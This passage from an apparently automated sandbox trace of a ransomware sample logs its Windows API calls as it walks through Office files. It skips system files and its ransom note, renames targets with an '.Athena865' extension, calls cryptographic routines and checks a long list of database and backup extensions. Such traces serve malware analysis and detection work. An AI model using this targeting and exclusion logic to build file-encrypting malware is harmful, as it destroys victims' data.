(HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.159] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0070.161] CloseHandle (hObject=0x154) returned 1 [0070.161] CloseHandle (hObject=0x17c) returned 1 [0070.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.163] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x8578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENGIDX.DAT", cAlternateFileName="")) returned 1 [0070.163] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.163] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.163] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2=".") returned 1 [0070.163] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2="..") returned 1 [0070.163] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2="windows") returned -1 [0070.163] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2="bootmgr") returned 1 [0070.163] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2="temp") returned -1 [0070.163] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2="pagefile.sys") returned -1 [0070.163] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2="boot") returned 1 [0070.163] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2="ids.txt") returned -1 [0070.163] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2="ntuser.dat") returned -1 [0070.163] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2="perflogs") returned -1 [0070.163] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2="MSBuild") returned -1 [0070.163] lstrlenW (lpString="ENGIDX.DAT") returned 10 [0070.164] lstrcpyW (in: lpString1=0x241e89e, lpString2="ENGIDX.DAT" | out: lpString1="ENGIDX.DAT") returned="ENGIDX.DAT" [0070.164] lstrlenW (lpString="ENGIDX.DAT") returned 10 [0070.164] lstrlenW (lpString="Athena865") returned 9 [0070.164] lstrcmpiW (lpString1="NGIDX.DAT", lpString2="Athena865") returned 1 [0070.164] lstrlenW (lpString=".dll") returned 4 [0070.164] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2=".dll") returned 1 [0070.164] lstrlenW (lpString=".lnk") returned 4 [0070.164] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2=".lnk") returned 1 [0070.164] lstrlenW (lpString=".ini") returned 4 [0070.164] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2=".ini") returned 1 [0070.164] lstrlenW (lpString=".sys") returned 4 [0070.164] lstrcmpiW (lpString1="ENGIDX.DAT", lpString2=".sys") returned 1 [0070.164] lstrlenW (lpString="ENGIDX.DAT") returned 10 [0070.164] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT.Athena865") returned 63 [0070.164] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat.athena865"), dwFlags=0x1) returned 1 [0070.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.166] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=34168) returned 1 [0070.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.166] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.167] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.167] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.167] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8880, lpName=0x0) returned 0x154 [0070.169] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8880) returned 0x100000 [0070.170] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.171] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.171] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.172] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.172] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0070.172] CloseHandle (hObject=0x154) returned 1 [0070.172] CloseHandle (hObject=0x17c) returned 1 [0070.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x4c22c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENGLISH.LNG", cAlternateFileName="")) returned 1 [0070.173] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.173] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.173] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2=".") returned 1 [0070.173] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2="..") returned 1 [0070.173] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2="windows") returned -1 [0070.173] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2="bootmgr") returned 1 [0070.173] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2="temp") returned -1 [0070.173] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2="pagefile.sys") returned -1 [0070.173] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2="boot") returned 1 [0070.173] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2="ids.txt") returned -1 [0070.173] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2="ntuser.dat") returned -1 [0070.173] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2="perflogs") returned -1 [0070.173] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2="MSBuild") returned -1 [0070.174] lstrlenW (lpString="ENGLISH.LNG") returned 11 [0070.174] lstrcpyW (in: lpString1=0x241e89e, lpString2="ENGLISH.LNG" | out: lpString1="ENGLISH.LNG") returned="ENGLISH.LNG" [0070.174] lstrlenW (lpString="ENGLISH.LNG") returned 11 [0070.174] lstrlenW (lpString="Athena865") returned 9 [0070.174] lstrcmpiW (lpString1="GLISH.LNG", lpString2="Athena865") returned 1 [0070.174] lstrlenW (lpString=".dll") returned 4 [0070.174] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2=".dll") returned 1 [0070.174] lstrlenW (lpString=".lnk") returned 4 [0070.174] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2=".lnk") returned 1 [0070.174] lstrlenW (lpString=".ini") returned 4 [0070.174] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2=".ini") returned 1 [0070.174] lstrlenW (lpString=".sys") returned 4 [0070.174] lstrcmpiW (lpString1="ENGLISH.LNG", lpString2=".sys") returned 1 [0070.174] lstrlenW (lpString="ENGLISH.LNG") returned 11 [0070.174] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.Athena865") returned 64 [0070.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng.athena865"), dwFlags=0x1) returned 1 [0070.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.175] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=311852) returned 1 [0070.175] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.175] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.176] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.176] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.176] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.177] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c530, lpName=0x0) returned 0x154 [0070.178] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c530) returned 0x2d50000 [0070.193] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.194] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.194] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.194] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0070.197] CloseHandle (hObject=0x154) returned 1 [0070.197] CloseHandle (hObject=0x17c) returned 1 [0070.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.199] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xf380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EntityDataHandler.dll", cAlternateFileName="ENTITY~2.DLL")) returned 1 [0070.199] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.199] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.199] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2=".") returned 1 [0070.199] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2="..") returned 1 [0070.199] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2="windows") returned -1 [0070.199] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2="bootmgr") returned 1 [0070.199] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2="temp") returned -1 [0070.199] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2="pagefile.sys") returned -1 [0070.199] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2="boot") returned 1 [0070.199] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2="ids.txt") returned -1 [0070.199] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2="ntuser.dat") returned -1 [0070.199] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2="perflogs") returned -1 [0070.199] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2="MSBuild") returned -1 [0070.199] lstrlenW (lpString="EntityDataHandler.dll") returned 21 [0070.199] lstrcpyW (in: lpString1=0x241e89e, lpString2="EntityDataHandler.dll" | out: lpString1="EntityDataHandler.dll") returned="EntityDataHandler.dll" [0070.199] lstrlenW (lpString="EntityDataHandler.dll") returned 21 [0070.200] lstrlenW (lpString="Athena865") returned 9 [0070.200] lstrcmpiW (lpString1="ndler.dll", lpString2="Athena865") returned 1 [0070.200] lstrlenW (lpString=".dll") returned 4 [0070.200] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2=".dll") returned 1 [0070.200] lstrlenW (lpString=".lnk") returned 4 [0070.200] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2=".lnk") returned 1 [0070.200] lstrlenW (lpString=".ini") returned 4 [0070.200] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2=".ini") returned 1 [0070.200] lstrlenW (lpString=".sys") returned 4 [0070.200] lstrcmpiW (lpString1="EntityDataHandler.dll", lpString2=".sys") returned 1 [0070.200] lstrlenW (lpString="EntityDataHandler.dll") returned 21 [0070.200] lstrlenW (lpString="bak") returned 3 [0070.200] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0070.200] lstrlenW (lpString="ba_") returned 3 [0070.200] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0070.200] lstrlenW (lpString="dbb") returned 3 [0070.200] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0070.200] lstrlenW (lpString="vmdk") returned 4 [0070.200] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0070.200] lstrlenW (lpString="rar") returned 3 [0070.200] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0070.200] lstrlenW (lpString="zip") returned 3 [0070.200] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0070.200] lstrlenW (lpString="tgz") returned 3 [0070.200] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0070.200] lstrlenW (lpString="vbox") returned 4 [0070.200] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0070.200] lstrlenW (lpString="vdi") returned 3 [0070.200] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0070.200] lstrlenW (lpString="vhd") returned 3 [0070.200] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0070.201] lstrlenW (lpString="vhdx") returned 4 [0070.201] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0070.201] lstrlenW (lpString="avhd") returned 4 [0070.201] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0070.201] lstrlenW (lpString="db") returned 2 [0070.201] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0070.201] lstrlenW (lpString="db2") returned 3 [0070.201] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0070.201] lstrlenW (lpString="db3") returned 3 [0070.201] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0070.201] lstrlenW (lpString="dbf") returned 3 [0070.201] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0070.201] lstrlenW (lpString="mdf") returned 3 [0070.201] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0070.201] lstrlenW (lpString="mdb") returned 3 [0070.201] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0070.201] lstrlenW (lpString="sql") returned 3 [0070.201] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0070.201] lstrlenW (lpString="sqlite") returned 6 [0070.201] lstrcmpiW (lpString1="er.dll", lpString2="sqlite") returned -1 [0070.201] lstrlenW (lpString="sqlite3") returned 7 [0070.201] lstrcmpiW (lpString1="ler.dll", lpString2="sqlite3") returned -1 [0070.201] lstrlenW (lpString="sqlitedb") returned 8 [0070.201] lstrcmpiW (lpString1="dler.dll", lpString2="sqlitedb") returned -1 [0070.201] lstrlenW (lpString="xml") returned 3 [0070.201] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0070.201] lstrlenW (lpString="$er") returned 3 [0070.201] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0070.201] lstrlenW (lpString="4dd") returned 3 [0070.201] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0070.201] lstrlenW (lpString="4dl") returned 3 [0070.202] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0070.202] lstrlenW (lpString="^^^") returned 3 [0070.202] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0070.202] lstrlenW (lpString="abs") returned 3 [0070.202] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0070.202] lstrlenW (lpString="abx") returned 3 [0070.202] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0070.202] lstrlenW (lpString="accdb") returned 5 [0070.202] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0070.202] lstrlenW (lpString="accdc") returned 5 [0070.202] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0070.206] lstrlenW (lpString="accde") returned 5 [0070.206] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0070.206] lstrlenW (lpString="accdr") returned 5 [0070.206] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0070.206] lstrlenW (lpString="accdt") returned 5 [0070.206] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0070.206] lstrlenW (lpString="accdw") returned 5 [0070.206] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0070.206] lstrlenW (lpString="accft") returned 5 [0070.206] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0070.206] lstrlenW (lpString="adb") returned 3 [0070.206] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0070.206] lstrlenW (lpString="adb") returned 3 [0070.206] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0070.207] lstrlenW (lpString="ade") returned 3 [0070.207] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0070.207] lstrlenW (lpString="adf") returned 3 [0070.207] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0070.207] lstrlenW (lpString="adn") returned 3 [0070.207] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0070.207] lstrlenW (lpString="adp") returned 3 [0070.207] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0070.207] lstrlenW (lpString="alf") returned 3 [0070.207] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0070.207] lstrlenW (lpString="ask") returned 3 [0070.207] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0070.207] lstrlenW (lpString="btr") returned 3 [0070.207] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0070.207] lstrlenW (lpString="cat") returned 3 [0070.207] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0070.207] lstrlenW (lpString="cdb") returned 3 [0070.207] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0070.207] lstrlenW (lpString="ckp") returned 3 [0070.207] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0070.207] lstrlenW (lpString="cma") returned 3 [0070.207] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0070.207] lstrlenW (lpString="cpd") returned 3 [0070.207] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0070.207] lstrlenW (lpString="dacpac") returned 6 [0070.207] lstrcmpiW (lpString1="er.dll", lpString2="dacpac") returned 1 [0070.207] lstrlenW (lpString="dad") returned 3 [0070.207] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0070.207] lstrlenW (lpString="dadiagrams") returned 10 [0070.207] lstrcmpiW (lpString1="andler.dll", lpString2="dadiagrams") returned -1 [0070.207] lstrlenW (lpString="daschema") returned 8 [0070.208] lstrcmpiW (lpString1="dler.dll", lpString2="daschema") returned 1 [0070.208] lstrlenW (lpString="db-journal") returned 10 [0070.208] lstrcmpiW (lpString1="andler.dll", lpString2="db-journal") returned -1 [0070.208] lstrlenW (lpString="db-shm") returned 6 [0070.208] lstrcmpiW (lpString1="er.dll", lpString2="db-shm") returned 1 [0070.208] lstrlenW (lpString="db-wal") returned 6 [0070.208] lstrcmpiW (lpString1="er.dll", lpString2="db-wal") returned 1 [0070.208] lstrlenW (lpString="dbc") returned 3 [0070.208] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0070.208] lstrlenW (lpString="dbs") returned 3 [0070.208] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0070.208] lstrlenW (lpString="dbt") returned 3 [0070.208] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0070.208] lstrlenW (lpString="dbv") returned 3 [0070.208] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0070.208] lstrlenW (lpString="dbx") returned 3 [0070.208] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0070.208] lstrlenW (lpString="dcb") returned 3 [0070.208] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0070.208] lstrlenW (lpString="dct") returned 3 [0070.208] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0070.208] lstrlenW (lpString="dcx") returned 3 [0070.208] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0070.208] lstrlenW (lpString="ddl") returned 3 [0070.208] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0070.208] lstrlenW (lpString="dlis") returned 4 [0070.208] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0070.208] lstrlenW (lpString="dp1") returned 3 [0070.208] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0070.208] lstrlenW (lpString="dqy") returned 3 [0070.209] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0070.209] lstrlenW (lpString="dsk") returned 3 [0070.209] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0070.209] lstrlenW (lpString="dsn") returned 3 [0070.209] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0070.209] lstrlenW (lpString="dtsx") returned 4 [0070.209] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0070.209] lstrlenW (lpString="dxl") returned 3 [0070.209] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0070.209] lstrlenW (lpString="eco") returned 3 [0070.209] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0070.209] lstrlenW (lpString="ecx") returned 3 [0070.209] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0070.209] lstrlenW (lpString="edb") returned 3 [0070.209] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0070.209] lstrlenW (lpString="epim") returned 4 [0070.209] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0070.209] lstrlenW (lpString="fcd") returned 3 [0070.209] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0070.209] lstrlenW (lpString="fdb") returned 3 [0070.209] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0070.209] lstrlenW (lpString="fic") returned 3 [0070.209] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0070.209] lstrlenW (lpString="flexolibrary") returned 12 [0070.209] lstrcmpiW (lpString1="aHandler.dll", lpString2="flexolibrary") returned -1 [0070.209] lstrlenW (lpString="fm5") returned 3 [0070.209] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0070.209] lstrlenW (lpString="fmp") returned 3 [0070.209] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0070.209] lstrlenW (lpString="fmp12") returned 5 [0070.209] lstrcmpiW (lpString1="r.dll", lpString2="fmp12") returned 1 [0070.210] lstrlenW (lpString="fmpsl") returned 5 [0070.210] lstrcmpiW (lpString1="r.dll", lpString2="fmpsl") returned 1 